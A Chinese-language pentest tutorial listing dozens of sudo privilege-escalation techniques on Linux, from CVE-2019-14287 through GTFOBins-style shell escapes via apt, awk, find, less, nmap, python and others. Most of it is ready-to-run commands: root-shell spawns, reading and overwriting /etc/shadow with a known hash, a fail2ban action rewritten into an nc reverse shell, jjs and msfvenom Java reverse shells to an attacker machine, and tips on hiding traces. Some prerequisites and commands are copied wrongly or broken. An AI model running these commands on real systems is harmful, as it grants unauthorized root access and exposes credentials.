在进行渗透测试获取初始立足点的shell后,通常会运行sudo -l查看当前用户的权限,可通过系统已有可执行文件的权限实现提权。提权的本质就是低权限的用户因为某种特殊的配置/漏洞,可利用具有高权限的指令/工具/脚本等执行高权限的操作。有关Linux系统的提权方法有很多,包含passwd或shadow文件利用提权、自动任务提权、SUID提权、内核漏洞提权、第三方工具提权、sudo提权等等,本文将详解十几种sudo提权的方法。
查看当前权限
sudo -l
资源网站
CVE-2019-14287
漏洞利用前提
1.sudo版本要求:该漏洞针对1.8.28以下的sudo版本。查看sudo版本的指令是:
1 | sudo -V |grep version |
2.运行sudo -l后显示当前用户可以免密切换至其他任意非root用户,即:
(ALL, !root) NOPASSWD: /bin/bash
提权操作
1 | sudo -u#-1 /bin/bash |
sudo apt和sudo apt-get
漏洞利用前提
当前用户可以以sudo高级权限运行apt指令。即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/apt
提权操作
针对sudo apt:
1 | sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh |
针对 sudo apt-get
1 | sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh |
sudo apache2
漏洞利用前提
当前用户可以以sudo高级权限运行apt指令。即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/sbin/apache2
操作方式
1 | sudo apache2 -f /etc/shadow |
其中-f用于指定apache2的配置文件,我们指定存放了密码hash的文件/etc/shadow。执行时由于给定的配置文件有问题,肯定会出现报错,报错的时候会暴露/etc/shadow文件的第一行,从而给我们利用的可能。报错信息如下:
1 | Invalid command 'root:$6$TB/euwMK$0XA............:::',perhaps mispelled or defined by a module not in cluded in the server configuration |
这样我们把其中关于root账号的密码hash$6$TB/euwMK$0XA…………(此处这个hash只是示意)找个字典破解一下,有可能就能拿到密码。比如可以把密码hash命名为passwordhash,然后在kali中用john破解一下:
1 | john passwordhash --wordlist=/usr/share/wordlists/rockyou.txt |
sudo ash
漏洞利用前提
当前用户可以以sudo高级权限运行ash指令。即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/ash
操作方式
1 | sudo ash |
直接运行sudo ash即可提权,本质上ash就是启动一个shell的命令。既然可以以高权限启动,相当于直接提权,再用命令bash开启一个会话提高shell的交互性。这里的关键在于认出ash就是一种shell环境。与之类似还有bash/csh/zsh/sh/tclsh/dash等,均为shell环境。
sudo awk
漏洞利用前提
当前用户可以以sudo高级权限运行ash指令。即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/awk
操作方式
sudo awk 'BEGIN {system("/bin/sh")}'
awk是常用的文本处理工具之一,上述命令中单引号中的内容是传递给awk工具的脚本,而BEGIN是awk工具的一个特殊模式,表示在处理任何输入前执行的动作,我们用大括号{}添加了指定awk执行的操作:系统命令——启动一个shell环境,从而实现提权。
sudo base32/58/64/nc/z
漏洞利用前提
当前用户可以以sudo高级权限运行base32/58/64/nc/z指令。即运行sudo -l后会有如下的行(此处以base4为例):
(root) NOPASSWD: /usr/bin/base64
操作方式
1 | sudo base64 "$bossfrank" | base64 -d |
base64就是用来编码的,具有sudo权限后可以读取高权限用户才能读取的文件。我们可以利用base64工具的权限,对敏感其进行编码再解码,读取结果(也就是读取原始文件)。 利用这种方式我们就可读取原本的shadow文件,然后再对root用户的hash进行字典碰撞破解,如果破解成功,即可su提权。(base64/58/32/nc/z的利用方式相似)
sudo cp
漏洞利用前提
当前用户可以以sudo高级权限运行复制cp指令。即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/cp
操作方式
本质思路就是利用复制的高权限,我们可以自己写一个shadow文件,通过复制操作覆盖原有的shadow文件,从而修改了root账户的密码,用新的密码进行提权。
详情可见cp | GTFOBins,具体操作如下:
首先我们可以用mkpasswd生成sha-512加密(/etc/shadow中密码的加密方式)的密文,我们企图把root账户的密码修改为123456,故此处命令为:mkpasswd -m sha-512 123456
加密结果为:
1 | $6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx. |
查看kali的/etc/shadow可以看到通常情况下shadow的形式
1 | cat /etc/shadow | grep root |
照着这个形式,我们可以构造一行如下的字符串,这行字符串之后会拷贝覆盖靶机中的/etc/shadow文件:
1 | root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7::: |
然后在靶机中进行如下的操作:
首先声明一个环境变量,用于指向/etc/shadow:
bossfrank=/etc/shadow
然后再生成一个名为TF的变量,指向用mktemp生成的临时文件:
1 | TF=$(mktemp) |
然后将刚刚我们生成的shadow记录(即root账户密码是123456)写入TF变量:
1 | echo 'root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::' > $TF |
插叙一下,此时可以查看TF变量的内容,输出TF(echo $TF)可以看到:
/tmp/tmp.Rmzxhak
再查看这个临时文件(cat /tmp/tmp.Rmzxhak),就是我们刚刚的那条shadow记录
最后是关键步骤,使用sudo的cp复制指令,将我们的这条shadow记录复制到/etc/shadow,实现覆盖操作:
1 | sudo /usr/bin/cp $TF $bossfrank |
sudo cpulimit
漏洞利用前提
当前用户可以以sudo高级权限运行cpulimit指令。即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/cpulimit
提权操作
1 | sudo cpulimit -l 100 -f /bin/bash |
其中-l 100用于限制(指定)cpu的使用率,此处为100%,-f参数表示运行某个程序,该程序以-l参数指定的使用率占用CPU,此处执行的程序就是启动/bash,由于cpulimit具有sudo权限,故可以直接提权。
sudo curl
漏洞利用前提
当前用户可以以sudo高级权限运行curl指令。即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/curl
操作方式
该操作的本质思路与sudo cp小节的类似,都是通过覆盖系统的/etc/shadow文件修改root密码,达到提权的目的。前述生成shadow格式的操作见sudo cp小节,这里把对于123456进行sha-512加密的shadow形式的字符串存成了一个文件shadow_entry,这就是我们的payload:
在kali中启动一个http服务,架设一个站点,用于存放这个恶意载荷payload:
1 | php -S 0:80 |
然后在靶机中通过sudo curl访问kali上的payload,也就是这个shadow_entry,并把结果输出到/etc/shadow,从而覆盖了靶机原有的/etc/shadow文件,实现了对root账户的密码修改。
1 | sudo curl http://kali的ip/shadow_entry -o /etc/shadow |
-o参数用于将结果输出到文件,接下来只要su提权,输入我们的密码即可。该方法同样由于覆盖了原有的/etc/shadow,对靶机的系统是有破坏的。
sudo date
漏洞利用前提
当前用户可以以sudo高级权限运行日期date指令。即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/date
操作方式
sudo date命令的提权操作与sudo apache2的操作相似
1 | sudo date -f /etc/shadow |
其中-f用于指定读取日期的路径。我们利用date的sudo权限从/etc/shadow中读取日期,/etc/shadow中不存在日期信息,会出现报错,但报错中会显示/etc/shadow的内容。
然后执行hash碰撞即可。
sudo dd
漏洞利用前提
当前用户可以以sudo高级权限运行dd指令。 即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/dd
操作方式
dd指令是一个命令行工具,可对原始指令进行复制、转化,可以用于转换编码、生成文件等。
该提权方法与前述的sudo cp 和 sudo curl有类似之处,都是通过覆盖/etc/shadow文件的方法,覆盖后使用自己的设定的密码进行登录。首先还是先构造一个shadow形式的字符串,设定密码为123456(方法详见sudo cp):
1 | root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7::: |
运行如下指令即可实现对靶机/etc/shadow文件的覆盖:
1 | echo "root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::" | sudo dd of=/etc/shadow |
of参数用于输出文件,这里设置为/etc/shadow,就会将我们构造的payload输出到/etc/shadow,实现对靶机中/etc/shadow的覆盖。 同样,这对于靶机也是有损的,建议先备份原有的/etc/shadow。
sudo dstat
漏洞利用前提
当前用户可以以sudo高级权限运行dstat指令。 即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/dstat
提权操作
该操作的核心逻辑是dstat指令可以指定插件,我们可以在插件目录中写入我们用于提权的exp脚本,然后sudo运行dstat的时候同时指定这个插件脚本,即可实现提权。dstat的插件目录通常位于/usr/local/share/dstat或/usr/share/dstat,可以先通过find命令进行查找到底是哪个目录:
1 | find / -name dstat -type f 2>/dev/null |
这里假定插件目录是/usr/share/dstat,我们在这个目录中写入我们的python提权脚本(插件)dstat_exp.py:
1 | import os; os.execv("/bin/sh", ["sh"]) |
当然也可以直接echo到指定目录:
1 | echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_exp.py |
然后sudo运行dstat的时候指定插件名exp即可提权:
1 | sudo dstat --exp |
注意此处我们插件的脚本名称是dstat_exp.py,但指定插件名称时输入的是exp。
sudo ed
漏洞利用前提
当前用户可以以sudo高级权限运行文本编辑器ed。 即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/ed
提权操作
直接sudo运行ed即可进入文本编辑界面,然后输入:
1 | !/bin/bash |
即可直接提权。感叹号!表明执行系统命令。我们执行的系统命令是/bin/bash,即启动bash,又由于ed本身是以sudo执行的,从而启动了root的bash,实现了提权。
sudo env
漏洞利用前提
当前用户可以以sudo高级权限运行文本编辑器ed。 即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/ed
提权操作
直接sudo运行env执行/bin/bash即可:
1 | sudo env /bin/sh |
env通常用于设定环境变量相关的参数,在此处也可以执行命令,直接以启动bash即可提权。
sudo exiftools
漏洞利用前提
当前用户可以以sudo高级权限运行文本编辑器ed。 即运行sudo -l后会有如下的行:
(root) NOPASSWD: /usr/bin/exiftool
提权操作
这里给出红队笔记大佬的漏洞利用方式,按照上述漏洞源码中提示的逻辑操作即可:
首先构造payload,并在里面写入源数据,启动一个系统的shell:
echo "(metadata \"\c${system('/bin/bash')};\")" > payload
或直接vi payload编辑:
1 | (metadata "\c${system('/bin/bash')};") |
然后使用bzz工具进行压缩:
1 | bzz payload payload.bzz |
按照利用文件,用djvumake工具生成利用文件exploit.djvu,djvu是一种图像文件压缩格式,主要用于扫描文档和电子书格式。
1 | djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz |
提权命令:
1 | sudo exiftool exploit.djvu |
sudo expect
漏洞利用前提
当前用户可以以sudo高级权限运行expect指令,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/expect |
expect命令可以模拟用户的输入,将需要用户交互的操作自动化完成,可用于脚本和其他自动化环境之中。
操作方式
1 | sudo expect -c 'spawn /bin/bash;interact' |
其参数-c可之间添加脚本代码,而不是从文件中读取代码。spawn /bin/bash用于生成bash环境,用;interact指定是交互的shell,运行即可提权。从expect的利用也可以看出,很多可执行文件的sudo提权方式都是依靠其能够以高权限的身份指定配置文件或运行系统命令。
sudo fail2ban
当前用户可以以sudo高级权限运行expect指令,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /etc/init.d/fail2ban |
fail2ban是一个用于防御的工具,可以用于针对暴力破解密码的攻击。比如当ssh登录时多次密码错误,就会触发fail2ban的操作,短暂封禁登录的ip,短时期内无法再进行密码尝试。
操作方式
首先我们要知道fail2ban工具的目录在哪里,可以用find进行查找:
1 | find -name "fail2ban*" -type d 2>/dev/null |
结果显示有好几个目录,大概可以判断fail2ban的目录是/etc/fail2ban,我们查看其目录下的配置文件是否可写:
1 | find /etc/fail2ban -writable -type d 2>/dev/null |
结果显示为:/etc/fail2ban/action.d,也就是说配置文件action.d是可写的(该目录详细规定了当触发ban时执行的操作)。在linux的目录结构中,若以.d为名称结尾,通常说明该目录是一些脚本文件。我们进入/etc/fail2ban/action.d后,发现其中有配置文件iptables-multport.conf,该文件规定了当ssh登录在短时间内多次错误尝试触发ban行为后执行的操作,查看这个文件的属性(ls -liah iptables-multport.conf)如下:
1 | 345817 -rw-r--r-- 1 root root 1.5k May 22 15:24 iptables-multport.conf |
可发现所属主和所属组都是root,文件的权限属性为644,而我们目前仅仅是一个普通的shell用户, 无法直接对该文件进行编辑修改。但是由于iptables-multport.conf所在目录/etc/fail2ban/action.d是可写的,我们可以在当前目录创建和删除文件,通过如下的操作实现对iptables-multport.conf的可写。首先通过mv将iptables-multport.conf文件重命名为iptables-multport.conf.bak:
1 | mv iptables-multport.conf iptables-multport.conf.bak |
执行此操作后,/etc/fail2ban/action.d目录下就没有iptables-multport.conf文件了,而有一个备份文件iptables-multport.conf.bak,这个iptables-multport.conf.bak文件与先前的iptables-multport.conf文件具有相同的文件属性(mv操作并不会创建新文件,仅仅是修改原文件的位置或名字,文件的权限并不会改变,所属主和所属组均为root),我们再把这个iptables-multport.conf.bak文件进行复制,并命名为iptables-multport.conf:
1 | mv iptables-multport.conf.bak iptables-multport.conf |
这样目录中就又有iptables-multport.conf了,此时由于cp操作的特性(以当前用户的权限创建新文件),我们查看iptables-multport.conf这个文件的属性(ls -liah iptables-multport.conf),可以发现所属主和所属组都变为了当前用户jackie:
1 | 345123 -rw-r--r-- 1 jackie jackie 1.5k May 22 15:54 iptables-multport.conf |
此时我们就能够编辑iptables-multport.conf了,vim查看并编辑,在其中发现触发ban后执行的操作是actionban = 操作。我们讲这个操作修改为提权的逻辑,比如反弹shell,即修改后的iptables-multport.conf了文件中actionban所在行内容如下:
1 | actionban = rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc kali的ip 1234 > /tmp/f |
修改完成后:wq报错推出,再次sudo重启fail2ban服务,保证我们修改的iptables-multport.conf生效:
1 | sudo /etc/init.d/fail2ban restart |
然后进行kali中nc监听刚刚反弹shell的端口1234:
1 | nc -lvnp 1234 |
最后我们只要再次ssh尝试登录jackie这个账户,并故意短时间内快速多次用错误密码尝试(具体需要多快可以查看文件/etc/fail2ban/jail.conf,里面写了10s内尝试5次就会触发ban。但我们只要尽可能的快速多次输入错误密码即可),触发actionban操作,即可触发反弹shell。
利用fail2ban的操作看似复杂,其实核心就是我们修改了fail2ban触发ban后执行的逻辑(改为了反弹shell),然后故意错误密码短时间多次尝试触发ban,利用fail2ban的sudo权限,触发ban后执行了我们指定的反弹shell操作。利用的难点在于:
1 | 1.必须知道fail2ban是干啥的,其中的配置文件在哪里,触发ban后的action的操作命令在哪里。 |
sudo find
漏洞利用前提
当前用户可以以sudo高级权限运行find指令,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/find |
操作方式
1 | sudo find . -exec /bin/bash \; -quit |
运行上述命令即可提权。用find命令随便在某个目录查找,比如当前目录.,然后添加参数-exec执行bash(/bin/bash不会对find找到的文件进行任何处理),其中的分号;表示-exec执行命令的结束位置,分号;前面的\是转义符,对分号;进行了转义,如果不加转义符/,则分号;会被解释为命令行的语句分割符,会使得-exec找不到命令执行的结束位置。
sudo flock
漏洞利用前提
当前用户可以以sudo高级权限运行flock指令,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/flock |
flock本身是一个linux系统中管理文件锁定的实用程序,协调多个进程对文件系统的访问,避免多个进程同时访问一个资源导致问题。利用详情可见flock | GTFOBins
操作方式
1 | sudo flock -u / /bin/bash |
运行即可提权。-u参数表示解锁(unlock),此处为解锁根目录/的文件,并用/bin/bash来操作,该指令会启动/bin/bash会话,从而实现提权。
sudo ftp
漏洞利用前提
当前用户可以以sudo高级权限运行ftp指令,即运行sudo -l后会有如下的行:
1 (root) NOPASSWD: /usr/bin/ftp
操作方式
1 | sudo ftp |
运行即可提权,逻辑显然,利用ftp的交互命令行启动系统的bash。
sudo gcc
漏洞利用前提
当前用户可以以sudo高级权限运行gcc编译指令,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/gcc |
操作方式
1 | sudo gcc -wrapper /bin/bash,-s . |
运行即可提权。用-wrapper指定包装器,在包装器中添加启动shell的指令,,-s是bash的参数,指定从标准输入读取命令,保证读取到EOF时不会退出,点.表示编译的内容,此时我们并不关心编译啥,随便给个当前目录.即可。
sudo gdb
当前用户可以以sudo高级权限运行gdb编译指令,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/gdb |
gdb是GNU debugger的缩写,是源代码级别的调试器,主要用于C/C++的程序调试。利用详情可见gdb | GTFOBins
操作方式
1 | sudo gdb -nx -ex '!bash' -ex quit |
运行即可提权,其中-nx表示启动时不读取执行任何配置文件,-ex表示执行指令,感叹号!表示执行的是系统命令,执行完之后再执行退出(-ex quit)。
sudo git
漏洞利用前提
当前用户可以以sudo高级权限运行git指令,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/git |
操作方式
1 | sudo git branch --help |
通过查看帮助时调用了类似less的机制实现了提权,在查看帮助时可以输入感叹号!执行系统命令。该方法与在less中提权是很相似的。
sudo gzip/gunzip
漏洞利用前提
当前用户可以以sudo高级权限运行压缩/解压缩gzip/gunzip指令,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/gzip |
操作方式
1 | sudo gzip -f /etc/shadow -t |
运行后会暴露/etc/shadow文件的内容,然后再用john破解即可,有类似的利用,比如sudo apache2
其中-t表示检查压缩文件,在进行检查的时候就会读取并显示对应文件,从而暴露了敏感文件/etc/shadow, -f表示force强制执行,保证程序可以正常执行。gunzip的利用方式完全一致。
sudo iftop
漏洞利用前提
当前用户可以以sudo高级权限运行iftop指令,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/sbin/iftop |
iftop是一个命令行形式的网络流量监控工具,用于实时显示某个网络接口的带宽使用情况,可以显示实时视图。利用详情可见iftop | GTFOBins
操作方式
1 | sudo iftop |
通过输入!告诉工具要执行系统命令,然后启动bash提权。
sudo hping3
漏洞利用前提
当前用户可以以sudo高级权限运行网络工具hping3指令,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/sbin/hping3 |
hping3是一个非常强大的网络工具,主要用于分析测试网络环境,生成各种类型的数据包。利用详情可见hping3 | GTFOBins
操作方式
1 | sudo hping3 |
利用方式和sudo ftp类似,工具都有自带的命令行,在自带的命令行中运行系统命令,启动bash即可提权。
sudo java
漏洞利用前提
当前用户可以以sudo高级权限运行java,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/java |
遇到这种运行主流语言作为sudo的指令时,首先考虑采用该语言本身的反弹shell指令提权。
操作方式
思路就是,写一个java的反弹shell(shell.jar),然后再靶机中执行java -jar shell.jar即可,我们此处用kali自带的msfvenom生成java的反弹shell:
1 | msfvenom -p java/shell_reverse_tcp LHOST=kali的ip LPORT=1234 -f jar -o shell.jar |
然后把这个文件传到靶机上,传统思路,当前目录开启http服务:
1 | php -S 0:80 |
然后在靶机中把这个shell.jar给他wget下来:
1 | wget http://kali的ip/shell.jar |
然后靶机中运行即可(注意kali中先要开启nc -lvnp 1234):
1 | java -jar shell.jar |
sudo jjs
漏洞利用前提
当前用户可以以sudo高级权限运行jjs,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/jjs |
操作方式
由于直接运行GTFOBins的指令会卡死,本操作方式结合了jjs | GTFOBins的逻辑,并使用Reverse Shell Cheat Sheet | pentestmonkey的java反弹shell编写方式。
1 | echo "Java.type('java.lang.Runtime').getRuntime().exec(['/bin/bash','-c','exec 5<>/dev/tcp/kali的ip/1234;cat <&5 | while read line; do \$line 2>&5 >&5; done']).waitFor()" | sudo jjs |
逻辑就是将一个脚本输出到jjs中,而jjs具有sudo权限,执行此反弹shell的逻辑会反弹root的shell。执行之前别忘了在kali中开启nc监听1234端口:
1 | nc -lvnp 1234 |
即可收到反弹shell。注意此时收到的反弹shell可能交互性不完全,可以输入bash启动bash的shell增强交互性。
sudo journalctl
漏洞利用前提
当前用户可以以sudo高级权限运行journalctl,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /bin/journalctl |
同时感叹号!执行系统命令的功能不可被禁用。
journalctl是systemctl体系下用于管理系统日志的工具,在较新的linux发行版中都会有。利用详情可见journalctl | GTFOBins
操作方式
先直接sudo执行journalctl:
1 | sudo journalctl |
然后发现进入了查看系统日志的界面,该界面的底层采用了和less命令相似的机制,都可以之间键入感叹号!输入系统命令,因此直接输入:
1 | !/bin/bash |
即可实现提权。如果感叹号!执行系统命令的功能被禁用了,则无法提权。
sudo knife
漏洞利用前提
当前用户可以以sudo高级权限运行knife,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/knife |
knife是chef的命令行接口,可以与chef的服务器进行交互,chef是一个服务器等基础设施的自动化管理和配置工具。利用详情可见knife | GTFOBins
操作方式
1 | sudo knife exec -E 'exec "/bin/bash"' |
其中exec是knife的子命令,-E参数引入ruby语言格式的字符串(knife是基于ruby语言编写的),表示要执行的命令。执行即可提权。
sudo less
漏洞利用前提
当前用户可以以sudo高级权限运行less,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/less |
less是常见的用于读取文件的工具,前面已经提到了许多类似less机制的提权,都是利用了读取文件时可以键入系统命令启动shell,利用详见less | GTFOBins
操作方式
可以先建立一个临时文件
1 | mktemp ./XXX |
然后应该可以看到这个临时文件的名字,比如./tE70f,然后用sudo less读取这个临时文件:
1 | sudo less tE70f |
进入读的界面后,键入感叹号表示输入系统命令,启动bash即可提权:
1 | !/bin/bash |
当然也可以直接随便读取个文件,然后输入!/bin/bash,这里描述的采用临时文件的方法有助于渗透测试过程中对自身痕迹的隐藏。
sudo man
漏洞利用前提
当前用户可以以sudo高级权限运行man,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/man |
man是常用的用于查看linux命令帮助的工具,提权利用也是类似less的机制,利用详见man | GTFOBins
操作方式
首先随便输入用sudo man查看一个linux命令,这里以ls为例:
1 | sudo man ls |
进入帮助界面后,也是键入!可以运行系统命令,类似less的机制即可提权:
1 | !/bin/bash |
sudo more
漏洞利用前提
当前用户可以以sudo高级权限运行more,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/more |
more和less类似,都是用于读取文件,提权利用也是类似less的机制,利用详见more | GTFOBins
操作方式
还是通过临时文件的方法,先建立一个临时文件:
1 | mktemp ./xxx |
应该可以看到这个临时文件的名字,比如./7aADd,此时由于这个临时文件是空的,用more读取不会看到任何的结果,因此我们可以先将某个文件重定向到这个临时文件,这里假设bossfrank是一个已有的文件:
1 | yes bossfrank > 7aADd |
然后通过more读取,并用!启动bash:
1 | sudo more 7aADd |
同样,使用临时文件便于隐藏痕迹。单纯为了提权也可以直接读取系统的文件。
sudo mount
漏洞利用前提
当前用户可以以sudo高级权限运行mount,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/mount |
mount常用于文件挂载,可以挂载磁盘也可以挂载共享文件目录,利用详见mount | GTFOBins
操作方式
1 | sudo mount -o bind /bin/bash /bin/mount |
-o意思是option指定选项,bind用于绑定,将bash绑定到mount中,这样只要再次sudo运行mount即可提权:
1 | sudo mount |
sudo mysql
漏洞利用前提
当前用户可以以sudo高级权限运行mysql,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/mysql |
类似mysql这种关键应用常常有执行系统命令的操作,利用详见mysql | GTFOBins
操作方式
1 | sudo mysql -e '\! /bin/sh' |
其中-e表示执行系统命令,感叹号!表示开始执行系统命令,由于在bash语句中的感叹号!表示访问历史记录,因此要对感叹号!使用反斜杠\进行转义。
sudo nano
漏洞利用前提
当前用户可以以sudo高级权限运行nano,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/nano |
nano是一个文本编辑器,其提权方式非常典型。许多工具底层都会调用nano,因此这是一类的提权方式。利用详见nano | GTFOBins
操作方式
启动nano,可以在nano编辑器底部看到如下的菜单:
1 | sudo nano |
输入ctrl + r选择读取文件Read File,进入读取文件的界面,其下部的菜单如下:
此处可以看到,输入ctrl + x进入Execute Command执行命令界面,然后我们只要输入要执行的系统命令即可:
1 | reset;bash 1>&0 2>&0 |
首先reset重置环境变量,然后启动bash并将输出和错误信息重定向,即可提权。
sudo neofetch
漏洞利用前提
当前用户可以以sudo高级权限运行neofetch,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/neofetch |
neofetch本身是一个用于显示系统配置信息的命令行工具,可以通过自定义配置文件改变输出的信息和格式,实现提权,利用详见neofetch | GTFOBins
操作方式
先声明一个变量TF,指向一个新建的临时文件:
1 | TF=$(mktemp) |
将提权逻辑写入临时文件中:
1 | echo 'exec /bin/bash' >$TF |
最后sudo运行neofetch,同时指定这个配置文件:
1 | sudo neofetch --config $TF |
neofetch的配置文件只能通过指定文件的方式进行,因此提权逻辑只能写在文件中,无法在上述语句中直接添加执行系统命令的明文指令。运行上述指令即可提权。
sudo nice
漏洞利用前提
当前用户可以以sudo高级权限运行nice,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/nice |
nice命令本身用于修改进程的优先级(优先级最高-20,最低19,默认为10),利用详见nice | GTFOBins
操作方式
直接可以启动bash:
1 | sudo nice /bin/bash |
运行即可提权。
sudo nmap
漏洞利用前提
当前用户可以以sudo高级权限运行nmap,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/nice |
nmap是常见的端口扫描工具,其中可以自定义脚本,利用详见nmap | GTFOBins
操作方式
nmap有许多版本,也有不同的提权方式,这里给出其中一种:首先声明一个变量TF,指向一个新建的临时文件:
1 | TF=$(mktemp) |
将提权逻辑echo到这个临时文件:
1 | echo 'os.execute("/bin/sh")' > $TF |
sudo运行nmap并指定我们编写的提权脚本:
1 | sudo nmap --script=$TF |
sudo node
漏洞利用前提
当前用户可以以sudo高级权限运行node,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/node |
node命令用于运行Node.js,利用详见node | GTFOBins
操作方式
Node.js的选项-e可以进行提权操作:
1 | sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})' |
用-e指定字符串,字符串是Node.js的代码。执行上述命令即可提权。
sudo nohup
漏洞利用前提
当前用户可以以sudo高级权限运行nohup,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/nohup |
nohup命令主要用于作业管理,nohup可以运行命令的同时忽略挂起的信号(比如用nohup启动进程后,当终端关闭之后,进程依旧运行),利用详见nohup | GTFOBins
操作方式
1 | sudo nohup /bin/bash -c "bash <$(tty) >$(tty) 2>$(tty)" |
先用nohup启动/bin/bash会话,其中-c参数对进程进行管理,将bash的输入输出重定向。运行即可提权。
sudo openvpn
漏洞利用前提
当前用户可以以sudo高级权限运行openvpn,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/sbin/openvpn |
openvpn的利用详见openvpn | GTFOBins
操作方式
openvpn可以通过参数读取配置文件,如果可以sudo,则能够以root身份读取系统的敏感文件:
1 | sudo openvpn --config /etc/shadow |
结果会报错,但报错信息会暴露敏感信息的第一行,即/etc/shadow的第一行,我们可以据此拿到root账户的密码hash,再用john找个字典破解即可(未必能破解出来)。
sudo passwd
漏洞利用前提
当前用户可以以sudo高级权限运行修改密码指令passwd,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/passwd |
passwd的利用就是直接修改密码。
操作方式
既然可以sudo运行passwd,那咱可以直接把root的密码改掉:
1 | sudo passwd |
然后输入两次密码,就可以用我们的新密码su提权了。虽然看着有点离谱,但是真实情况还真有可能出现这种配置情况:低权限的管理员需要修改系统的密码,就会给自己设置passwd的sudo权限。
sudo perl
漏洞利用前提
当前用户可以以sudo高级权限运行perl语言,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/perl |
操作方式
perl是一种脚本语言,提权方式有很多。以如下为例:
1 | sudo perl -e 'exec "/bin/sh";' |
perl语言有-e参数,用于直接执行perl脚本,按照这种方式,直接执行启动bash即可,运行上述命令即可直接提权。
sudo php
漏洞利用前提
当前用户可以以sudo高级权限运行php,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/php |
操作方式
php也是常见的语言,在渗透测试过程中更是尤为常见。我们应该能想到许多提权语句。这里采用一种简单直观的,直接用-r参数启动bash。在web渗透中这些操作也是非常实用的。
1 | sudo php -r "system('/bin/bash');" |
sudo pico
漏洞利用前提
当前用户可以以sudo高级权限运行pico,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/pico |
pico和nano非常相似,也是一种编辑器(功能与nano有差异),利用详见pico | GTFOBins
操作方式
这里的操作和nano的提权方式基本一致,懒得讲了,总之就是如下命令:
1 | sudo pico |
其中ctrl + r选择Read File模式,ctrl + x选择执行命令Execute Commend
sudo pkexec
漏洞利用前提
当前用户可以以sudo高级权限运行pkexec,即运行sudo -l后会有如下的行:
1 (root) NOPASSWD: /usr/bin/pkexec
pk就是policykit策略套件的简称,是一种用于管理系统策略的服务。policykit可以允许非特权进程通信以进行特权操作。利用详见pkexec | GTFOBins
操作方式
pkexec这个工具可以进行权限相关的操作,执行用户指定的程序,这里就是启动bash
1 | sudo pkexec /bin/bash |
sudo python3
漏洞利用前提
当前用户可以以sudo高级权限运行python3,即运行sudo -l后会有如下的行:
1 | (root) NOPASSWD: /usr/bin/python3 |
操作方式
我们通常用python语句进行反射,提高shell的交互性,这里也可以直接利用语句启动shell:
1 | sudo python3 -c "import os;os.system('/bin/bash)" |
sudo rvim
漏洞利用前提
